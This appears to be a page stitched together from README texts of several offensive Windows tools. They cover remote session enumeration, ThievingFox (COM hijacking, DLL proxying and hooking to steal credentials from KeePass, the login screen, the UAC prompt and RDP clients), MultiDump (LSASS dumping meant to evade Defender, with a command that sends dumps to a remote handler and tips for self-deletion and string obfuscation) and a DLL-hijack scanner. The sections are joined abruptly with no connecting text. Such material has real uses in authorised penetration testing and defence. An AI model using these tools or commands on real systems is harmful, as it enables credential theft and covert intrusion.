Retrieve and display information about active user sessions on remote computers. No admin privileges required.
The tool leverages the remote registry service to query the HKEY_USERS registry hive on the remote computers. It identifies and extracts Security Identifiers (SIDs) associated with active user sessions, and translates these into corresponding usernames, offering insights into who is currently logged in.
If the -CheckAdminAccess switch is provided, it will gather sessions by authenticating to targets where you have local admin access using Invoke-WMIRemoting (which most likely will retrieve more results)
It's important to note that the remote registry service needs to be running on the remote computer for the tool to work effectively. In my tests, if the service is stopped but its Startup type is configured to "Automatic" or "Manual", the service will start automatically on the target computer once queried (this is native behavior), and sessions information will be retrieved. If set to "Disabled" no session information can be retrieved from the target.
ThievingFox is a collection of post-exploitation tools to gather credentials from various password managers and windows utilities. Each module leverages a specific method of injecting into the target process, and then hooks internals functions to gather crendentials.
.NET development environment must also be installed. From Visual Studio, navigate to Tools > Get Tools And Features > Install ".NET desktop development"
Finally, python dependancies must be installed :
pip install -r client/requirements.txt
ThievingFox works with python >= 3.11
NOTE : On a Windows host, in order to use the KeePass module, msbuild must be available in the PATH. This can be achieved by running the client from within a Visual Studio Developper Powershell (Tools > Command Line > Developper Powershell)
Targets
All modules have been tested on the following Windows versions :
Windows Version
Windows Server 2022
Windows Server 2019
Windows Server 2016
Windows Server 2012R2
Windows 10
Windows 11
[!CAUTION] Modules have not been tested on other version, and are expected to not work.
Application
Injection Method
KeePass.exe
AppDomainManager Injection
KeePassXC.exe
DLL Proxying
LogonUI.exe (Windows Login Screen)
COM Hijacking
consent.exe (Windows UAC Popup)
COM Hijacking
mstsc.exe (Windows default RDP client)
COM Hijacking
RDCMan.exe (Sysinternals' RDP client)
COM Hijacking
MobaXTerm.exe (3rd party RDP client)
COM Hijacking
Usage
[!CAUTION] Although I tried to ensure that these tools do not impact the stability of the targeted applications, inline hooking and library injection are unsafe and this might result in a crash, or the application being unstable. If that were the case, using the cleanup module on the target should be enough to ensure that the next time the application is launched, no injection/hooking is performed.
ThievingFox contains 3 main modules : poison, cleanup and collect.
Poison
For each application specified in the command line parameters, the poison module retrieves the original library that is going to be hijacked (for COM hijacking and DLL proxying), compiles a library that has matches the properties of the original DLL, uploads it to the server, and modify the registry if needed to perform COM hijacking.
To speed up the process of compilation of all libraries, a cache is maintained in client/cache/.
--mstsc, --rdcman, and --mobaxterm have a specific option, respectively --mstsc-poison-hkcr, --rdcman-poison-hkcr, and --mobaxterm-poison-hkcr. If one of these options is specified, the COM hijacking will replace the registry key in the HKCR hive, meaning all users will be impacted. By default, only all currently logged in users are impacted (all users that have a HKCU hive).
--keepass and --keepassxc have specific options, --keepass-path, --keepass-share, and --keepassxc-path, --keepassxc-share, to specify where these applications are installed, if it's not the default installation path. This is not required for other applications, since COM hijacking is used.
The KeePass modules requires the Visual C++ Redistributable to be installed on the target.
Multiple applications can be specified at once, or, the --all flag can be used to target all applications.
[!IMPORTANT] Remember to clean the cache if you ever change the --tempdir parameter, since the directory name is embedded inside native DLLs.
positional arguments: target Target machine or range [domain/]username[:password]@<IP or FQDN>[/CIDR]
options: -h, --help show this help message and exit -hashes HASHES, --hashes HASHES LM:NT hash -aesKey AESKEY, --aesKey AESKEY AES key to use for Kerberos Authentication -k Use kerberos authentication. For LogonUI, mstsc and consent modules, an anonymous NTLM authentication is performed, to retrieve the OS version. -dc-ip DC_IP, --dc-ip DC_IP IP Address of the domain controller -no-pass, --no-pass Do not prompt for password --tempdir TEMPDIR The name of the temporary directory to use for DLLs and output (Default: ThievingFox) --keepass Try to poison KeePass.exe --keepass-path KEEPASS_PATH The path where KeePass is installed, without the share name (Default: /Program Files/KeePass Password Safe 2/) --keepass-share KEEPASS_SHARE The share on which KeePass is installed (Default: c$) --keepassxc Try to poison KeePassXC.exe --keepassxc-path KEEPASSXC_PATH The path where KeePassXC is installed, without the share name (Default: /Program Files/KeePassXC/) --ke epassxc-share KEEPASSXC_SHARE The share on which KeePassXC is installed (Default: c$) --mstsc Try to poison mstsc.exe --mstsc-poison-hkcr Instead of poisonning all currently logged in users' HKCU hives, poison the HKCR hive for mstsc, which will also work for user that are currently not logged in (Default: False) --consent Try to poison Consent.exe --logonui Try to poison LogonUI.exe --rdcman Try to poison RDCMan.exe --rdcman-poison-hkcr Instead of poisonning all currently logged in users' HKCU hives, poison the HKCR hive for RDCMan, which will also work for user that are currently not logged in (Default: False) --mobaxterm Try to poison MobaXTerm.exe --mobaxterm-poison-hkcr Instead of poisonning all currently logged in users' HKCU hives, poison the HKCR hive for MobaXTerm, which will also work for user that are currently not logged in (Default: False) --all Try to poison all applications
Cleanup
For each application specified in the command line parameters, the cleanup first removes poisonning artifacts that force the target application to load the hooking library. Then, it tries to delete the library that were uploaded to the remote host.
For applications that support poisonning of both HKCU and HKCR hives, both are cleaned up regardless.
Multiple applications can be specified at once, or, the --all flag can be used to cleanup all applications.
It does not clean extracted credentials on the remote host.
[!IMPORTANT] If the targeted application is in use while the cleanup module is ran, the DLL that are dropped on the target cannot be deleted. Nonetheless, the cleanup module will revert the configuration that enables the injection, which should ensure that the next time the application is launched, no injection is performed. Files that cannot be deleted by ThievingFox are logged.
positional arguments: target Target machine or range [domain/]username[:password]@<IP or FQDN>[/CIDR]
options: -h, --help show this help message and exit -hashes HASHES, --hashes HASHES LM:NT hash -aesKey AESKEY, --aesKey AESKEY AES key to use for Kerberos Authentication -k Use kerberos authentication. For LogonUI, mstsc and cons ent modules, an anonymous NTLM authentication is performed, to retrieve the OS version. -dc-ip DC_IP, --dc-ip DC_IP IP Address of the domain controller -no-pass, --no-pass Do not prompt for password --tempdir TEMPDIR The name of the temporary directory to use for DLLs and output (Default: ThievingFox) --keepass Try to cleanup all poisonning artifacts related to KeePass.exe --keepass-share KEEPASS_SHARE The share on which KeePass is installed (Default: c$) --keepass-path KEEPASS_PATH The path where KeePass is installed, without the share name (Default: /Program Files/KeePass Password Safe 2/) --keepassxc Try to cleanup all poisonning artifacts related to KeePassXC.exe --keepassxc-path KEEPASSXC_PATH The path where KeePassXC is installed, without the share name (Default: /Program Files/KeePassXC/) --keepassxc-share KEEPASSXC_SHARE The share on which KeePassXC is installed (Default: c$) --mstsc Try to cleanup all poisonning artifacts related to mstsc.exe --consent Try to cleanup all poisonning artifacts related to Consent.exe --logonui Try to cleanup all poisonning artifacts related to LogonUI.exe --rdcman Try to cleanup all poisonning artifacts related to RDCMan.exe --mobaxterm Try to cleanup all poisonning artifacts related to MobaXTerm.exe --all Try to cleanup all poisonning artifacts related to all applications
Collect
For each application specified on the command line parameters, the collect module retrieves output files on the remote host stored inside C:\Windows\Temp\<tempdir> corresponding to the application, and decrypts them. The files are deleted from the remote host, and retrieved data is stored in client/ouput/.
Multiple applications can be specified at once, or, the --all flag can be used to collect logs from all applications.
positional arguments: target Target machine or range [domain/]username[:password]@<IP or FQDN>[/CIDR]
options: -h, --help show this help message and exit -hashes HASHES, --hashes HASHES LM:NT hash -aesKey AESKEY, --aesKey AESKEY AES key to use for Kerberos Authentication -k Use kerberos authentication. For LogonUI, mstsc and consent modules, an anonymous NTLM authentication is performed, to retrieve the OS version. -dc-ip DC_IP, --dc-ip DC_IP IP Address of th e domain controller -no-pass, --no-pass Do not prompt for password --tempdir TEMPDIR The name of the temporary directory to use for DLLs and output (Default: ThievingFox) --keepass Collect KeePass.exe logs --keepassxc Collect KeePassXC.exe logs --mstsc Collect mstsc.exe logs --consent Collect Consent.exe logs --logonui Collect LogonUI.exe logs --rdcman Collect RDCMan.exe logs --mobaxterm Collect MobaXTerm.exe logs --all Collect logs from all applications
MultiDump is a post-exploitation tool written in C for dumping and extracting LSASS memory discreetly, without triggering Defender alerts, with a handler written in Python.
Blog post: https://xre0us.io/posts/multidump
MultiDump supports LSASS dump via ProcDump.exe or comsvc.dll, it offers two modes: a local mode that encrypts and stores the dump file locally, and a remote mode that sends the dump to a handler for decryption and analysis.
-p Path to save procdump.exe, use full path. Default to temp directory -l Path to save encrypted dump file, use full path. Default to current directory -r Set ip:port to connect to a remote handler --procdump Writes procdump to disk and use it to dump LSASS --nodump Disable LSASS dumping --reg Dump SAM, SECURITY and SYSTEM hives --delay Increase interval between connections to for slower network speeds -v Enable v erbose mode
MultiDump defaults in local mode using comsvcs.dll and saves the encrypted dump in the current directory. Examples: MultiDump.exe -l C:\Users\Public\lsass.dmp -v MultiDump.exe --procdump -p C:\Tools\procdump.exe -r 192.168.1.100:5000
options: -h, --help show this help message and exit -r REMOTE, --remote REMOTE Port to receive remote dump file -l LOCAL, --local LOCAL Local dump file, key needed to decrypt --sam SAM Local SAM save, key needed to decrypt --security SECURITY Local SECURITY save, key needed to decrypt --system SYSTEM Local SYSTEM save, key needed to decrypt -k KEY, --key KEY Key to decrypt local file --override-ip OVERRIDE_IP Manually specify the IP address for key generation in remote mode, for proxied connection
As with all LSASS related tools, Administrator/SeDebugPrivilege priviledges are required.
The handler depends on Pypykatz to parse the LSASS dump, and impacket to parse the registry saves. They should be installed in your enviroment. If you see the error All detection methods failed, it's likely the Pypykatz version is outdated.
By default, MultiDump uses the Comsvc.dll method and saves the encrypted dump in the current directory.
MultiDump.exe ... [i] Local Mode Selected. Writing Encrypted Dump File to Disk... [i] C:\Users\MalTest\Desktop\dciqjp.dat Written to Disk. [i] Key: 91ea54633cd31cc23eb3089928e9cd5af396d35ee8f738d8bdf2180801ee0cb1bae8f0cc4cc3ea7e9ce0a74876efe87e2c053efa80ee1111c4c4e7c640c0e33e
If --procdump is used, ProcDump.exe will be writtern to disk to dump LSASS.
In remote mode, MultiDump connects to the handler's listener.
./ProcDumpHandler.py -r 9001 [i] Listening on port 9001 for encrypted key...
MultiDump.exe -r 10.0.0.1:9001
The key is encrypted with the handler's IP and port. When MultiDump connects through a proxy, the handler should use the --override-ip option to manually specify the IP address for key generation in remote mode, ensuring decryption works correctly by matching the decryption IP with the expected IP set in MultiDump -r.
An additional option to dump the SAM, SECURITY and SYSTEM hives are available with --reg, the decryption process is the same as LSASS dumps. This is more of a convenience feature to make post exploit information gathering easier.
Building MultiDump
Open in Visual Studio, build in Release mode.
Customising MultiDump
It is recommended to customise the binary before compiling, such as changing the static strings or the RC4 key used to encrypt them, to do so, another Visual Studio project EncryptionHelper, is included. Simply change the key or strings and the output of the compiled EncryptionHelper.exe can be pasted into MultiDump.c and Common.h.
Self deletion can be toggled by uncommenting the following line in Common.h:
#define SELF_DELETION
To further evade string analysis, most of the output messages can be excluded from compiling by commenting the following line in Debug.h:
//#define DEBUG
MultiDump might get detected on Windows 10 22H2 (19045) (sort of), and I have implemented a fix for it (sort of), the investigation and implementation deserves a blog post itself: https://xre0us.io/posts/saving-lsass-from-defender/
DLL Hijack SCanner - A tool to generate leads and automate the discovery of candidates for DLL Search Order Hijacking
Contents of this repository
This repository hosts the Visual Studio project file for the tool (DLLHSC), the project file for the API hooking functionality (detour), the project file for the payload and last but not least the compiled executables for x86 and x64 architecture (in the release section of this repo). The code was written and compiled with Visual Studio Community 2019.
If you choose to compile the tool from source, you will need to compile the projects DLLHSC, detour and payload. The DLLHSC implements the core functionality of this tool. The detour project generates a DLL that is used to hook APIs. And the payload project generates the DLL that is used as a proof of concept to check if the tested executable can load it via search order hijacking. The generated payload has to be placed in the same directory with DLLHSC and detour named payload32.dll for x86 and payload64.dll for x64 architecture.
Modes of operation
The tool implements 3 modes of operation which are explained below.
Lightweight Mode
Loads the executable image in memory, parses the Import table and then replaces any DLL referred in the Import table with a payload DLL.
The tool places in the application directory only a module (DLL) the is not present in the application directory, does not belong to WinSxS and does not belong to the KnownDLLs.
The payload DLL upon execution, creates a file in the following path: C:\Users\%USERNAME%\AppData\Local\Temp\DLLHSC.tmp as a proof of execution. The tool launches the application and reports if the payload DLL was executed by checking if the temporary file exists. As some executables import functions from the DLLs they load, error message boxes may be shown up when the provided DLL fails to export these functions and thus meet the dependencies of the provided image. However, the message boxes indicate the DLL may be a good candidate for payload execution if the dependencies are met. In this case, additional analysis is required. The title of these message boxes may contain the strings: Ordinal Not Found or Entry Point Not Found. DLLHSC looks for windows that contain these strings, closes them as soon as they shown up and reports the results.
List Modules Mode
Creates a process with the provided executable image, enumerates the modules that are loaded in the address space of this process and reports the results after applying filters.
The tool only reports the modules loaded from the System directory and do not belong to the KnownDLLs. The results are leads that require additional analysis. The analyst can then place the reported modules in the application directory and check if the application loads the provided module instead.
Run-Time Mode
Hooks the LoadLibrary and LoadLibraryEx APIs via Microsoft Detours and reports the modules that are loaded in run-time.
Each time the scanned application calls LoadLibrary and LoadLibraryEx, the tool intercepts the call and writes the requested module in the file C:\Users\%USERNAME%\AppData\Local\Temp\DLLHSCRTLOG.tmp. If the LoadLibraryEx is specifically called with the flag LOAD_LIBRARY_SEARCH_SYSTEM32, no output is written to the file. After all interceptions have finished, the tool reads the file and prints the results. Of interest for further analysis are modules that do not exist in the KnownDLLs registry key, modules that do not exist in the System directory and modules with no full path (for these modules loader applies the normal search order).
Compile and Run Guidance
Should you choose to compile the tool from source it is recommended to do so on Visual Code Studio 2019. In order the tool to function properly, the projects DLLHSC, detour and payload have to be compiled for the same architecture and then placed in the same directory. Please note that the DLL generated from the project payload has to be renamed to payload32.dll for 32-bit architecture or payload64.dll for 64-bit architecture.
DESCRIPTION DLLHSC scans a given executable image for DLL Hijacking and reports the results
It requires elevated privileges
OPTIONS -h, --help display this help menu and exit
-e, --executable-image executable image to scan
-l, --lightweight parse the import table, attempt to launch a payload and report the results
-lm, --list-modules list loaded modules that do not exist in the application's directory
-rt, --runtime-load display modules loaded in run-time by hooking LoadLibrary and LoadLibraryEx APIs
-t, --timeout number of seconds to wait f or checking any popup error windows - defaults to 10 seconds
Example Runs
This section provides examples on how you can run DLLHSC and the results it reports. For this purpose, the legitimate Microsoft utility OleView.exe (MD5: D1E6767900C85535F300E08D76AAC9AB) was used. For better results, it is recommended that the provided executable image is scanned within its installation directory.
The flag -l parses the import table of the provided executable, applies filters and attempts to weaponize the imported modules by placing a payload DLL in the application's current directory. The scanned executable may pop an error box when dependencies for the payload DLL (exported functions) are not met. In this case, an error message box is poped. DLLHSC by default checks for 10 seconds if a message box was opened or for as many seconds as specified by the user with the flag -t. An error message box indicates that if dependencies are met, the module can be weaponized.
The following screenshot shows the error message box generated when OleView.dll loads the payload DLL :
The tool waits for a maximum timeframe of 10 seconds or -t seconds to make sure the process initialization has finished and any message box has been generated. It then detects the message box, closes it and reports the result:
The flag -lm launches the provided executable and prints the modules it loads that do not belong in the KnownDLLs list neither are WinSxS dependencies. This mode is aimed to give an idea of DLLs that may be used as payload and it only exists to generate leads for the analyst.
The flag -rt prints the modules the provided executable image loads in its address space when launched as a process. This is achieved by hooking the LoadLibrary and LoadLibraryEx APIs via Microsoft Detours.
Feedback
For any feedback on this tool, please use the GitHub Issues section.
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